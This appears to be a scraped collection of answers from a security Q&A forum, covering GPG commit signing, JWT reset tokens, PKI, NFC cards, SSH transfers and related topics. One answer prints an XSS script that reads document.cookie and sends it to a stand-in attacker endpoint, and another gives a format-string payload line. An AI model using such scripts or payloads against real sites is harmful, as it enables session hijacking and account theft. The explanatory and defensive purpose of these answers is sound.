Who owns the gpg key 4AEE18F83AFDEB23 and how did it sign a commit in my GitHub repo?

GitHub itself is signing commits made through the online editor using the key 0x4AEE18F83AFDEB23:

From: https://help.github.com/articles/about-gpg/

GitHub will automatically sign commits you make using the GitHub web interface. These commits will have a verified status on GitHub. You can verify the signature locally using the public key available at https://github.com/web-flow.gpg


Is hacking legal when a friend allows you to attempt to hack their system?

If the system is private and you don't use any other infrastructure or services to carry out your testing, then you probably don't violate any statutes.

However:

If you are attacking through an ISP - get their agreement first, as they could see what you are doing as an attack and pass the info to law enforcement
If there is data on the server which could come under data protection regulation then you want to look into implications of having that data end up on your computer as part of the attack.
and as @espengra says - get approval in writing, in case you break something and your friend decides to take you to court!


You may not have the proper decoder in Burpsuite to perform testing. What "application-type" are you seeing with the requests? E.g., JSON, AJAX, etc., Burpsuite has separate decoders for JSON, and this does not mean your bank's API is using JSON. In order to properly analyze what is going on, you need the right tool for the job. What you can try to do, for study purposes etc, is capture the traffic, shove it through Netwitness Investigator, use its protocol decoder (which is automated) to make sense of all data connections, applications, types, etc. from point A to point B. My guess is, you're not hitting the right protocol to analyze with Burpsuite.


What is the point of the payload in reset password API with JWT

You are correct in that the setup as described would not depend on the contents of the payload as the successful decryption already implies correct details. In this implementation then there is no point besides a sanity check (for example make sure the decoded user id is the same as the requested renewal id).

However, the article has glossed over the fact that in practice most JWTs contain and verify against the standard aud(audience), iss(issuer), sub(subject) and exp(expiry) claims in the payload. The expiry claim in particular is something I feel the article has missed (they've only considered the one-use problem), since you don't want unused reset tokens to be valid indefinitely while being stored on the relatively insecure location of a email server.

So to answer your question simply, the point of the payload in password reset is to put information to allow you to double check for valid JWT/ valid request before performing the reset.

Slightly off topic: I have some reservations regarding the article's suggestion of generating the JWT secret based on a user's password hash (may be weak due to poor password) and create date (may be public for something like a profile showing how long you've been a member etc.). The quoted benefit of ensuring one-use can be done without creating secrets from user details and the point of not leaking the secret if an attacker has the user password from other sites is not much help since they can login directly with that password.


You need to capture and analysis network traffic using Wireshark to detect the source of ARP poisoning attack. Check out this article. The idea is to use this filter :

arp.duplicate-address-frame

There is also an other solution in this video


Is a PDF creating service vulnerable for injection of malicious code

I have worked with many PDF libraries (not this one exactly though) mainly in .NET and if done correctly are fine. If you are worried about having the client side HTML sent back to the server and it has been manipulated, then a possible suggestion is that you render a seperate HTML version in your backend specifically for the PDF library to use. This is therefore not rendered to the client and is not subjected to client manipulation.


Why is it difficult to catch "Anonymous" or "Lulzsec" (groups)?

My answer pokes at the original question. What makes you think that they don't get caught?

The CIA and DoD found Osama bin Laden.

Typical means include OSINT, TECHINT, and HUMINT. Forensics can be done on Tor. Secure deletion tools such as sdelete, BCWipe, and DBAN are not perfect. Encryption tools such as GPG and Truecrypt are not perfect.

Online communications was perhaps Osama bin Laden's biggest strength (he had couriers that traveled to far away cyber-cafes using email on USB flash drives) and Anonymous/LulzSec's biggest weakness. They use unencrypted IRC usually. You think they'd at least be using OTR through Tor with an SSL proxy to the IM communications server(s) instead of a cleartext traffic through an exit node.

Their common use of utilities such as Havij and sqlmap could certainly backfire. Perhaps there is a client-side vulnerability in the Python VM. Perhaps there is a client-side buffer overflow in Havij. Perhaps there are backdoors in either.

Because of the political nature of these groups, there will be internal issues. I saw some news lately that 1 in 4 hackers are informants for the FBI.

It's not "difficult" to "catch" anyone. Another person on these forums suggested that I watch a video from a Defcon presentation where the presenter tracks down a Nigerian scammer using the advanced transform capabilities in Maltego. The OSINT capabilities of Maltego and the i2 Group Analyst's Notebook are fairly limitless. A little hint; a little OPSEC mistake -- and a reversal occurs: the hunter is now being hunted.


Enabling HTTP Security headers in S/4 Hana web applications

Before adding any headers I'd carefully investigate whether they could break any normal functionality of the application. ERP systems like S/4 HANA are quite complex, and playing with external security features may cause something unexpected. Furthermore, it may make diagnosing any problems harder, because the support doesn't expect such headers in place, as they believe and announce this kind of problems are mitigated by other means.
Once you have acknowledged this, you do have some possibilities for adding the headers:
SAP Web Dispatcher
From SAP Web Dispatcher Modification of HTTP Requests:

If an SAP Web Dispatcher is configured, HTTP requests first go the Web
Dispatcher, which then filters the requests and distributes them to
the application servers connected in the SAP system. If no SAP Web
Dispatcher is configured, HTTP requests go directly to the Internet
Communication Manager (ICM) on an application server.
It is more practical to modify an HTTP request before it is forwarded
to the application server. The rewrite handler, which is implemented
as part of the HTTP plug-in in Web Dispatcher and in Internet
Communication Manager, provides the functions to perform modification
actions. You can perform different request modifications in the HTTP
server (SAP Web Dispatcher or Internet Communication Manager):

Delete, add, and enhance HTTP header fields:
You can delete or add HTTP header fields, or enhance them with
additional values.

With the syntax <headerop> <name> <pattern> <value> your configuration could contain e.g.
SetResponseHeader Content-Security-Policy script-src 'self'
SetResponseHeader X-Frame-Options SAMEORIGIN
SetResponseHeader X-Content-Type-Options nosniff

Reverse proxy
More generally, if a web application doesn't have a functionality to control headers, you can always place a reverse proxy in front of it. A lightweight solution is NGINX Reverse Proxy. E.g.
server {
    server_name sap.example.com;
    location / {
        proxy_pass  https://backend-sap.example.com;
        add_header  Content-Security-Policy  "script-src 'self'";
        add_header  X-Frame-Options          "SAMEORIGIN";
        add_header  X-Content-Type-Options   "nosniff";
    }
}


Linux kernel crypto algorithms: potential exploitation?

Many of these algorithms like registers like AVX and XMM registers, which I am not sure if the kernel ALWAYs reinitialize it from previous context (very performance-heavy if implemented)

Oh, but it does. At least, for processes that use SSE/XMM. Access to SSE/XMM registers can be disabled in hardware (via CR4.OSFXSR), which also makes task switching more efficient for processes that aren't using SSE/XMM at all.

  And so if not, if one kernel module is doing the calculation, and then the intermediate keys can be sniffed from a usermode application looking at the XMM registers, is it not a risk?

The kernel is very careful to sanitize everything that could've been touched by the kernel code before returning to userspace.

It may not necessarily save/restore, in some cases it might just clear with a zero value. But everything gets either restored or sanitized.

Where this is done is a different question. The default assumption might be that the kernel doesn't touch such advanced registers, so the responsibility might lie with the modules that use them (at least for system calls; task switching can be slightly more involved than system calls).


How can a server be hacked apart from port 80 or SSH?

There are several methods you can investigate in order to answer your questions.

Find the versions for SSHD and RPCbind and NGinx. Google each version for any remote or local exploits and vulnerabilities. The attacker could very well have used a blend of local and remote exploits or vulnerabilities, and not a single way to get in.
Look through all the important logs (access, SSH, Kernel, etc) and try to pinpoint the closest you can when was the server compromised, and possibly how.
Look through history files for all users, not just root.
When were the files AA and AAK first created? Search through the logs in step 2 at least one week before those dates and look closely.

If you decide to rebuild the server, I would suggest to choose the most updated Kernel available, and close down RPCbind if not needed. Limit SSH to use Private Keys only (disabling all passwords as well). You can install many programs to check for file integrity right after the fresh install.


In Signal Messenger what is the purpose of verifying a safety number?

The safety number is actually the fingerprint of your public key.
By verifying this, you verify that the public key you are encrypting the messages to, is in fact the same as the keys used by the other party in the conversation.
If not verified, you could be encrypting your keys with a Man in The Middle's keys, which then proceeds to decrypt the messages, read them, and reencrypt them with the recipients key. You would be none the wiser.
By verifying that the public keys is identical for both participants, you remove the possibility of a MiTM attack.
It's explained in detail in this blog post from Signal.


Just as @m1ke stated, "You can't control what users send to your system, you can control how you handle it." Javascript runs directly in the browser and can be seen by anyone (as can the network calls), therefore you can't really control what they send you. Otherwise, I recommend viewing Google Analytics' Security Policy. Aside from this simply follow general Javascript best practices as documented in the following links:

Wikipedia's Javascript/Security section
OWASP's Ajax & other interfaces
OWASP's Sandbox for testing

lastly, in terms of "minimize the amount of unwanted data" I also suggest investigating rate limiting. Essentially this may restrict an overabundance of requests and may reduce the "garbage". Twitter's example and Github's example.


Is symmetric encryption with one time pre-shared key secure?

Basically, no.

You haven't even gone half way towards describing your system. Will you be using a stream cipher or a block cipher? How will you authenticate this traffic? How will you protect it from replay attacks, bit flipping attacks, timing attacks and so on?

Once  you've fixed all the vulnerabilities in your system, I think you'll find that it resembles TLS anyway. Except you will probably have missed a few things along the way. You'll end up putting a lot of effort into making a flawed implementation of something that you can already have for free.

Using TLS from the outset would seem to be the sensible thing to do here.


Is it possible for my ISP to hack into my android phone?

Given that even brand new android phones often have yet unknown or even known security vulnerabilities it might be possible for someone who can sent data to your phone to trigger some externally accessible vulnerability in the code from outside. Through such vulnerability (or a combination with another) the attacker might even get root privileges on your phone and might be thus able to modify applications or inject himself into applications so that even reading of encrypted data is possible.

More likely than an external accessible vulnerability is that you have ISP specific applications on your phone which then only need some local vulnerability to get deep access to your phone.

Also, in many countries it is common that users get the phone from the mobile provider in the first place - and of course this provider might have added a backdoor to this phone and thus does not even need to exploit some vulnerabilities.

Note that none of these possibilities suggest that such attacks are actually done, only that these are possible. In most countries such activities by an ISP would be illegal. But even in such countries it is usually legal if the  provider helps law enforcement to bug your phone if they have the appropriate warrant.


Is it possible to disable NFC on credit card?

To answer the question briefly, and if we're only talking about wireless payment, yes it is possible. You can ask your bank for a non-NFC card, or simply to not allow NFC payments, which would be the first step. Or it can be physically disabled by placing it inside a NFC-blocking wallet, whose actual efficiency varies, or even sabotaged by making a cut into its antenna with a pair of scissors, and using a flashlight as displayed below is the best way to find where to cut, though I would only recommend this if you really know what you're doing:

Now the technology used for a specific card is dependant on the bank, and the country, not everyone uses the same technology. Some cards plainly transmit their PAN and expiry date, some keep the CVV separate, some rely on different information, some generate temporary tokens, some have a CVV that changes every hour... the technology solutions are many, you may as well check yourself using a NFC-capable device, like many smartphones today, and see which kind of information gets transmitted.

When it comes to payment security, your first resort is local law. Some countries hold banks liable for any card fraud caused by their negligence, and a card that dispenses its information too generously is in fact a negligence. Your second resort is bank policy, some banks will cover damage caused in the event of card fraud, others won't. It is up to you to figure out how much you are covered on both fronts, and decide if it's worth it. And then, you have to hope you're not liable. The general baseline is that as long as the card wasn't stolen nor lost, and is still in your possession, and you haven't publicly and consciously disclosed its information, you won't be considered liable, but things aren't as easy anymore. While higher security cards reduce the risk of fraud, it comes at the cost of making you more liable; fraud became much harder, but so does justifying it is an actual fraud, and neither bank policy nor local law may cover you. I'd go as far as claiming many of these technologies claiming to be "safer" only serve to make you more liable, because these is no greater safety than law and policy.

The best solution remains to request your bank not to use NFC, because disabling or sabotaging a NFC card will only prevent you from using it, but it won't prevent the card information from being very valid and usable. Simply ask your bank, they should have no issue disabling NFC payments, no need to even reissue a new card. Some banks even provide you the option in a smartphone app.

As for actual fraud, well it happened to me. I can easily see why, my card provides all information via NFC, but I am 100% covered, and I like how this primitive and unsafe technology relieves me of any liability, as long as I don't lose it. It's all about mitigating risk, similar to how this kind of fraud isn't very profitable, but very unlikely to get investigated.


When credit card tokens are leaked / stolen, what can the attacker do with them?

My payment processor supports recurring payments via "credit card tokens".

This means that when someone makes a purchase, either you or the customer will send their credit card to your processor, and the processor will hand you a token back.  Unlike a credit card, that token cannot be taken somewhere else and used; it's only valid between you and your processor to represent this one customer.  You do not store their credit card; you forget all about it, and use the token instead.

The processor holds on to the credit card number, and whenever you say "Charge this token," they use the card number to effect the charge.

The advantage of this system is that you are not responsible for securing PAN ("Primary Account Number") data, which simplifies your security and audit concerns.  If you arrange for your customers to hand their card numbers directly to the processor, without handing them to you first, then you can greatly reduce your PCI scope and obligations.

  What's the best way to store these tokens?

Usually, in a database.  They don't require the same level of encryption and protection that you would have to use for PAN data, if that's what you're concerned about.

  What if my system is compromised and someone get their hands on the tokens?

If someone steals your entire database of tokens, they can't use them to do anything.  They're not good for anything except in the context of you sending them to your processor using your credentials, which will get noticed very quickly when customers see they're double billed.  (And the only way to monetize that is if your "membership" site ships something valuable, like cases of wine, out to customers, and the attacker could intercept the shipment).


Since I can't comment, apparently, I want to clarify a couple of points.

CT does not require all browsers to use it: there is a herd immunity conferred even if only one browser does it. And, BTW, Chrome's next release includes CT support.
Webservers do not have to change to support CT - CAs can include the SCTs in issued certificates. Some CAs already do this, and others are working on it.
CT does not introduce a new trusted entity - CT logs prove their own correct operation, and any deviation leaves signed evidence of their wrongdoing.
The goal of CT is to enable interested parties (domain owners, researchers, etc) to have full visibility of the public PKI so that misissue of certificates is easy to promptly spot. DigiNotar, for example, would have been discovered in hours instead of months had CT been deployed.


What purpose serve port 1900 in home router

It serves the ISP no purpose at all. It is a convenience feature for home users.

UPnP allows services to automatically open ports on routers to allow traffic. A common example is for a media server.

However, UPnP, as others have said, has no authorisation on it, if you allow UPnP, anything with access to the UPnP port can open other ports at will.

For this reason, routers are meant to ensure that it is only available from the internal network and not from outside. Unfortunately, not all routers have been successful in ensuring this which is where the main vulnerabilities come from. The remainder of the vulnerabilities are if you get a rogue service running on your local network, it has more opportunity to open some ports.

If you don't need it, turn it off.


Edit: If your website is about crowdsourcing, you probably should have mentioned that in the question right away because that's a very specific topic and different from online vendor scenarios.

Yet the solution remains the same. The simplest way would be to hold any verified activities for each user in a database and thus verify if a user really has accomplished something. That's how shops like Amazon and crowdsourcing projects like Wikipedia do it and it's not really hard to implement either, especially when all users need to register anyways.

You will always have data such as member ID or project ID which can be mapped 1:1 to an existing person. I can't even imagine a company where the owner doesn't even keep track of the participants of his business.


Boot-sector virus - can it spread only through floppy disks?

No. Viruses can infect any commonly used bootable media.

The spread of this type of viruses became thwarted (in addition to better protection mechanisms) because of a change in media usage patterns.

Floppy disks in their golden age were used as a medium for live OS (booting and running), software distribution and for data exchange.

Nowadays you use:

non-removable hard disks
write-once read-many optical media (like CDs, DVDs, DVD-Rs)
USB drives

Although you can still boot an OS from either of this media, they perform different functions. This alone (not by enforcement, but by convenience) made the propagation of boot sector viruses rare, despite still being technically possible.

For a boot sector virus to spread you must insert a clean bootable media into an infected machine and later use the media to boot another machine.

This is extremely rare case for HDDs (non-USB) as you don't use them for software distribution or data exchange.

In case of optical media, they can be used to spread viruses, but they don't allow for cascading spread of a boot-sector viruses like with floppies.

USB usage pattern makes them most vulnerable of the three, but still it is relatively rare case to boot from USB. And USB media require special attention anyway, so additional procedural measures are taken.


It's impossible to create a PKI when the server cannot be trusted somehow. You can generate the asymmetric key pair on the server, but you would still have to trust the public key of the key pair. Otherwise the private key may be secure, but you wouldn't know what private key to trust.

So what you should do is to create separate key pairs for each trusted device. Then you should trust the public key of the key pair. This should be performed in a secure environment. You should not distribute the private key to multiple devices as you suggest in your question.


“Hacking The Art of Exploitation” - format string exploit memory truncation

On my machine, even when I just test the parameter generating part via

echo  $(printf "\x58\x10\x60\x00")$(perl -e 'print ".%08x" x8')

I get a

-bash: warning: command substitution: ignored null byte in input

It seems that the same happens on your machine (unfortunately without the warning being displayed). As a consequence, the effect is as if you had passed

$(printf "\x58\x10\x60")$(perl -e 'print ".%08x" x8')

i.e., the fourth character of your intended address is taken from the first '.' (ASCII 0x2E) following. Maybe try to get along with  "\x58\x10\x60\x01" or  "\x58\x10\x5f\xff" instead.

See also https://unix.stackexchange.com/questions/160598/representing-quoting-nul-on-the-command-line


(Of course this must be done on some sort of admin/power user account)

You could probably use the regular NT permissions, and deny access to cmd.exe and explorer.exe. In regular properties>permissions (you may have to enable NT permissions, also in properties).

You wouldn't need to have Group Policy necessarily. Or from command line you could use icacls "cmd.exe" /deny Users:F (Someone error check me?) and same command with where explorer.exe replaces cmd.exe.

Excuse me if I get some things wrong I am on a Linux box right now, doing this from memory.


Is there a "how to" about Gmail fraud, updated at least once per week?

Remember we are security experts and can't give legal advice:

Most likely it's impossible to figure out how exactly your account was compromised.
Let Gmail team know that it happened, they may be able to help.
Unfortunately, the best you can do for your friends is to let them know you were compromised. If this happened at work, let your IT people know immediately.
Generally, people are not held accountable for the actions of E-mail hijackers as obviously some fraud has occurred. But take a grain of salt with that statement because I'm a hacker, not a lawyer.
In the future make good decisions about how you use your mail. Use a good password, never give it out, keep your browser and other tools up to date etc... it sounds like you've already had a lot of that kind of advice.

Forensics?

To be honest, since you don't control the mail server, you don't have much room to research on this one. It would be a different matter entirely if this had been your own mail server. However, in this case you only have the info Google let's you have. If you want, you can look at the logs described here:

https://support.google.com/mail/answer/45938?hl=en

Perhaps you will get lucky and find a clue. However, in most cases even if you find the attackers identity, there is literally nothing you can do.

As for analyzing the actual E-mails, they are usually pretty generic. If they are being used for phishing you can analyze the linked malware, but again it is often fairly generic. The kind you buy on cheap hacker forums and send to thousands of people, you know?

If you are not a reverse engineer already, I wouldn't suggest it as a first step. Reverse engineering malware is a specialty all its own.

Final Advice

Report it. Reset your password. Make sure you are clean. Move on. Try and live a safer internet life. Life is too short to realize that you're e-mail hijacker used tor, lives in a foreign country, and will most likely never be brought to justice even if you were to prove his crimes to the proper authorities.


Reformatting is not sufficient, you need to securely wipe the disk.  Reformatting is like ripping the cover off a book; it's not pretty but all the info is still there.

DBAN is a popular free tool for wiping hard drives.  If the drive is SSD, you need other tools.

Companies that care will usually not release systems with disks; they'll destroy the disk and whoever buys the laptop/desktop will have to buy a new disk to put in it.  When you look at the overall cost of a system, disk is pretty cheap.


What are locked domain names technically?

Locked domains are domains which require additional hoops be leapt through in order to change ownership.  The lock is requested by the owner of the domain and implemented by the registrar of the domain.

Historically, transferring ownership of a domain required something like one of the authorized contacts faxing in a signed paper.  And, believe it or not, there were people out there who would fraudulently sign papers and fax them in so that they could steal the domain.  It's called Domain Hijacking and during the dot-com era it was a reasonably large problem.  It happened to my company around 2000 and it took us months for the lawyers to convince Network Solutions that the domain had been fraudulently transferred and that it should return to us.

Domain locking means that the registrar must unlock the domain before making changes, and that therefore they are triggered to apply extra scrutiny to the transfer.  Some might argue this merely makes them "do their job"...

The law of unintended consequences means that domain locking became a weapon in the registrar wars.  As new registrars came online and tried to capture business from the (more expensive) older registrars, domain locking was urged upon domain owners with the unstated goal of making it harder to hop from one registrar to the next.  Every domain registered at Network Solutions "comes with the free Domain Protect feature enabled," for example.

Your biggest question seems to be is domain hijacking an important threat?

Yes, but relative to the value of your domain.  For example, "sex.com" was an attractive and lucrative target (link goes to article, not named domain).  Other domains would have lower value.

Update

I was unable to find a way to query ICANN to find out which TLDs support domain locking, but I was able to find this (very comprehensive) list on a registrar site which indicates that .co does support domain locking:

And, if you go to the .co whois server, you can see that locking attributes are listed for their domains:

For at least two of the TLDs listed as not supporting domain lock in that list (.cn and .uk), I pulled up whois details for a couple domains and did not find any indication of EPP status codes that would indicate domain locking.  (As a negative inference, that's of limited use, but it beats contradiction).


Does a solution exist for transferring large files across a network that is faster, yet just as secure as scp?

scp uses the SSH protocol which is already up to the task to transferring at the full bandwidth allowed by the local network, at least on 100baseT ethernet. For gigabit networks, you may have to fiddle a bit, but usually the CPU is not the bottleneck.

Since you do not tell much details about your performance issues, I can only hazard hypotheses. What must be said is the following:

Your network (the wires and network interfaces) have a maximum bandwidth. For instance, 100baseT ethernet runs at 100 Mbits/s (bits, not bytes), and there is a bit of overhead, so with such wires you may reach about 10 or 11 MBytes/s, no more. If scp on a single big file already gives you a comparable figure, then you are already as fast as you can go. If your performance is noticeably slower, then you should investigate hardware and driver issues.
A normal, up-to-date scp installation should select a reasonably fast encryption algorithm (typically AES-128), that can be applied efficiently by even not-so-recent PC (100 MBytes/s would be typical). It is conceivable, through obsolete tools, misconfiguration, or anemic hardware from the previous century, that raw encryption speed is your problem. To test for that, you may want to run a CPU usage report tool (e.g. top on a Linux system) while you do the transfer, on both the client and server, to see if the CPU saturates. You may also want to run the scp command with the -v argument to get some details on the negotiated algorithm; look for something which looks like:

debug1: kex: server->client aes128-ctr umac-64-etm@openssh.com none

If you do not saturate on CPU, then you have no improvement to expect from a protocol change.
Compression may or may not help. scp can compress data on the fly; use the -C flag to enable it. Compression can make some data shorter, hence allow it to be transferred faster, but this comes at a cost in CPU, which may then become the bottleneck. Big video, mp3 files and jpg pictures are already compressed and usually don't benefit from extra compression by scp.
A known issue with scp is latency, not when transferring a single file, but when sending many small files: scp tends to wait for an acknowledge of reception of each file from the peer before proceeding with the next one.

If that is your case, then solution is indeed to use another transfer protocol, but still within a SSH tunnel. You can, indeed, pipe some tar output; it is as simple as:

tar cf - somefiles | ssh theserver 'tar xf -'

However, you may find rsync easier to use. It can invoke ssh for you, so you still use the SSH tunnel (and thus benefit from all the security goodness), but it will be efficient for sending files, including optional compression and "syncing" directories (i.e. avoiding the sending of files which are already on the other side).


Is there a way to change the creation date of a GPG/PGP cert

It's not possible to change the creation date of a PGP key, because the creation date is part of the Public and Private Key Packet.

The OpenPGP Standard (RFC4880) says

5.5.2. Public-Key Packet Formats

  (snip)

  A version 4 packet contains:

- ...
- A four-octet number denoting the time that the key was created.
- ...

5.5.3.  Secret-Key Packet Formats

  (snip)

  The packet contains:

- A Public-Key or Public-Subkey packet, as described above.

Also regarding signatures, the specification says under section 5.2.2.  Version 3 Signature Packet Format:

  The concatenation of the data to be signed, the signature type, and creation time from the Signature packet (5 additional octets) is hashed. The resulting hash value is used in the signature algorithm. The high 16 bits (first two octets) of the hash are included in the Signature packet to provide a quick test to reject some invalid signatures.

As you also added, in the GnuPG documentation under "Unattended GPG key generation" the documentation specifically says:

  Ceation-Date: iso-date

  Set the creation date of the key as stored in the key information and which is also part of the fingerprint calculation.

As you may understand by now, editing the creation date of your current key and keeping the ability to encrypt, decrypt and sign with the key is impossible. Simply because the date is used as part of the key.


Store password in Chrome exclusively online

This would be a rather uncommon request. Historicaly, browsers programmers realized that user had to consistently type their passwords for web sites and decided to store them locally in an encrypted database. Then Chrome decided to allow an automatic synchronization of the encrypted database in the cloud, to allow an easy share between different devices. But AFAIK, you cannot bypass the local database even in Chrome.

But external password vaults exist like for example LastPass. It can be used as a Chrome add-on and stores your password vault in their servers. Of course a temporary local copy must exist locally, because the encryption/decryption is only local so that your master password never reaches LastPass servers. But AFAIK, the only permanent storage is remote.

That being said, local storage is often prefered for password vaults, the online storage being seen as a help for sharing the vault or to have a backup. So IMHO, you should think twice about what are the threats you want to mitigate with a on line only password vault.


How do I identify a DES encryption key in a dump file using winhex?

Without any knowledge this is a difficult task but not impossible. A DES key is random data with high entropy. Finding the key is something like trial and error. You are looking for random data in the memory dump and then you try to decrypt a ciphertext which you previously have been encrypted by using this data as the DES key.

This is a difficult task. I would suggest that you use a debugger. Set a break point right after the DES key has been assigned to sSecretKey. If the debugger stops the execution of the program at this point the DES key has been assigned to the variable and you can read it.


Dangers of hosting an internal web application on a public web server?

It is a bit difficult to answer in detail when you don't supply critical information such as the system architecture, platform, web server, and framework(s) involved. If things are done right, the risk is negligible. To know whether they're done right and will continue being done right... ay, there's the rub. Which depends on the information I was talking about.

Lacking that information I'm going to pepper my answer with might's and sometimes's; please bear with me.

  Are there any security risks that I should be aware of with this configuration?

I can think of some of them, but others surely exist. Many of these are based on the assumption that a vulnerability might exist on the public site, and refer to whether and how it could influence the private site.

session hijacking and gleaning. On some platforms (mainly PHP and *AMP stacks), session data might be stored on the file system, and it might be queryable to any process. Which means that a rogue process on the public web server could enumerate or guess the session data filenames, read them, and disclose information that might be critical.
authentication bypass. Again depending on the platform, it might be possible to trick the secure site into allowing access to a user of the public site. This doesn't bypass network address check, so if you deny private access to external addresses, this specific attack vector is thwarted.
denial of service. Of course, the private site shares some resources with the public site, and can be subject to a denial of service that way.
cross-site attacks. This depends too much on the site's structure to give details. Broadly said, there are security measures in place to avoid victimsite.com to supply code that calls home to evilhost.com. Many of these measures work less, or not at all, if the two sites are of the form public.site.com and private.site.com. This vector of attack involves someone supplying a link to the public site to a victim on the inside (e.g. through an e-mail), and cross-site scripting code on the public site that would attempt to steal information or wreak havoc on the private site. If this works, i.e., if the public site is vulnerable to this kind of attack, then it will work much better on the private site on the same domain, than if it was on a different domain.
shared, shareable, or forceable connections. If the public site is broken into, an attacker is already inside the identification perimeter of the private site. Assuming he can recover the needed credentials (and on some platforms, this is possible - it requires non-default hardening to prevent it), he can identify himself to other hosts, e.g. the database with confidential information, and stand a much better (on most *AMPs, approaching 100% from the wrong side) chance of being allowed access.
code-level access. This isn't too likely, for it would require other vulnerabilities, to wit: write access by the Web server process, and same level of access between subprocesses belonging to the public and private sites. Still, except for a few happy exceptions (Debian and Ubuntu), this is often the default configuration unless specific steps are taken by the sysadmin. At worst, this allows a vulnerability on the public site to grant an attacker full access to everything from passwords onwards relating to the private site, as well as modifying information and reporting, intercepting some kinds of traffic (think "webmail"), and destroy data.

On a properly secured system (e.g. here, points 6 onwards; some pointers on PHP; and of course OWASP), I'd have few worries. Still enough to ask myself, must I really do this?; it's not like server space is all that expensive anymore. But very few. Especially if the sysadmins keep up with the necessary advisories.

On the other hand, placing a private and supposed-to-be-secure site on a system installed out of the box and not too well maintained (e.g. a stock Wordpress installation) is tantamount to conjuring up Murphy at its worst, and I can't advise too strongly against it.


What are the potential risks of binding an application to an IP address or hostname that you do not control?

If I were to bind to an IP address that I do not control, what would be the potential security risks?

To clarify the comment, this situation can easily happen in a shared hosting type of environment.

The main security risk here is that someone else can easily prevent your service from listening on this IP:port. More, they can run a fake service on the IP:port by taking it over. Then they can possibly act maliciously against your customers, depending on the nature of your service and communications. This can include many things such as:

Sending malicious content to your users (if it is a regular Web server which users visit with the browser);
Stealing credentials or authentication tokens if your service requires login (either from users or devices);
Attacking connecting clients (for example if your client is an IoT sensor submitting data and expecting the "200 ok" status, an attacker can try to overflow the sensor RAM by returning a very long status line);
If your service listens on more than one port, an attacker can do MITM attack on it, and perform traffic spoofing/injection/modification (this could be prevented with some measures like SSL, but if you're in shared hosting env, they are less effective).

Note that you cannot bind a listen port to a remote IP, it has to be one of local IP addresses (technically you can, but it will not work, because your ISP will not forward the relevant packets to your IP). So if your example with PHP if you mistype it as "php -S 128.0.0.1" this will only have any effect if your local IP address (or one of) is 128.0.0.1.

PS. The whole 127/8 (i.e. 127...*) is localhost, so if you listen on 127.231.45.90 it is no more accessible remotely than 127.0.0.1.


Password sent over TLS: threats other than TLS compromise?

Is there any other attack vector ...

It depends on the details of your implementation. If you are using a POST request or the common HTTP Authentication you should be fine. But if you are using a GET request to send the password (i.e. form with method=GET or similar) then the password might be kept in log files, HTTP Referer header etc which open up more attack vectors.


Sharing of Wireless Security and Encryption Settings

This is pretty much status by design- if broadcast is turned off it is to reduce the number of connection attempts.

If broadcast is turned on your computer will pick these settings up automatically.


Session hijacking is accomplished most commonly through the use of cross-site scripting (XSS), which when successful can grab the session token/key and send it to a waiting attacker.  The attacker can then use the session token as if they were the original authenticated user, bypassing authentication controls and accessing the application.  Often the session key is simply written to a cookie on the client machine which is easily accessed through simple JavaScript browser APIs as shown below:

<script>
        // get the token
        var token = document.cookie;

        // send it to attacker through http request to waiting endpoint
        var xmlHttp = new XMLHttpRequest();
        xmlHttp.open( "GET", "badguyurl?token=" + token, false );
        xmlHttp.send();
</script>

Session hijacking prevention efforts should focus on the prevention of XSS attacks, man-in-the-middle attacks as well as using cryptographically strong tokens, and encrypting data in transit (SSL/TLS).

As Marcus points out, if an attacker has memory access to the web server hosting the application (which likely indicates an outright compromise of your web server), you have bigger problems to worry about.


Improving the privacy of a casual Web user

Below is a response to the title "improving the privacy of a casual internet user". As for individual plugins, you'll have to research and ask on an individual basis.

Block ads. This is an easy way to cut off forced interaction (e.g. image and iframe loads, popups, etc.) and prevents someone from getting paid for your clicks/views. If you are using Firefox, checkout Adblock Plus

Lie. During registration processes, don't be afraid to omit or falsify your age, phone number, location, etc. Within the extent of the law, of course. If you want help, seek this identity generator

Think about what information you're disclosing. Remember that things like emails (both sent AND received) and search queries are fair game for the companies who provide the service.

Keep informed. If these topics matter to you, stay current with the EFF and other whistle blowing groups.


Is it bad practice to send decryptable data?

An algorithm that "only the remote machine knows" does not exist. Algorithms are not secret. They exist as source code, binary code and mind concepts in various places, including the brains of developers. Cryptographers have decided long ago (half a century) to split "cryptosystems" into keys, which are secret, and algorithms, which are not. They did so because it is nigh impossible to keep an algorithm secret, and even when it is not widely known, you cannot tell "how much" it is secret.

Doing anything related to security with plain HTTP is usually a bad idea. Plain HTTP does not offer any protection against eavesdropping, but it does not protect against active hijacking either. And you need both protections. SSL provides both. Use SSL. Once you use SSL, many things are simpler, and, in particular, you can send passwords "as is" in the SSL tunnel.

"Decryptable hash" is a nonsensical expression: by definition, a cryptographic hash function is one-way, which means the exact opposite of "decryptable". You want to say "encrypted password". And encrypting passwords means that you envision decrypting them somewhere, which is a bad idea, unless this is for transport only, not storage; and, for transport, you use SSL.


One-Time-Passwords resist against bruteforce attacks? Immune Alternative?

You have two different questions. To answer your first question...

  Does a One-Time-Password like Google Authenticator or YubiKey protect against brute force attacks with unlimited computer power?

When talking about brute force attacks you have to differentiate between online and offline attacks.

When considering online brute force attacks, I refer you to RFC 4226 Section 7.3.

  Truncating the HMAC-SHA-1 value to a shorter value makes a brute
     force attack possible.  Therefore, the authentication server needs to
     detect and stop brute force attacks.

  We RECOMMEND setting a throttling parameter T, which defines the
     maximum number of possible attempts for One-Time Password validation.
     The validation server manages individual counters per HOTP device in
     order to take note of any failed attempt.  We RECOMMEND T not to be
     too large, particularly if the resynchronization method used on the
     server is window-based, and the window size is large.  T SHOULD be
     set as low as possible, while still ensuring that usability is not
     significantly impacted.

  Another option would be to implement a delay scheme to avoid a brute
     force attack.  After each failed attempt A, the authentication server
     would wait for an increased T*A number of seconds, e.g., say T = 5,
     then after 1 attempt, the server waits for 5 seconds, at the second
     failed attempt, it waits for 5*2 = 10 seconds, etc.

  The delay or lockout schemes MUST be across login sessions to prevent
     attacks based on multiple parallel guessing techniques.

Good implementations of HOTP and TOTP, which are the algorithms used in Google Authenticator should throttle login attempts, thwarting online bruteforce attacks.

When it comes to offline brute force attacks, the attacker has to guess the shared secret used.

RFC 4226 Section 4 has this to say about the secret.

  R6 - The algorithm MUST use a strong shared secret.  The length of
     the shared secret MUST be at least 128 bits.  This document
     RECOMMENDs a shared secret length of 160 bits.

Brute force attacks against keys of that length is considered to be impossible.

Moving on to your second question...

  If not, what algorithems are immune to bruteforce attacks against static data on a HHD or USB-Stick? Consider the data is stored on an USB-Storage and you loose the USB-Storage to the attacker who has unlimited computer power available to brute force the password.

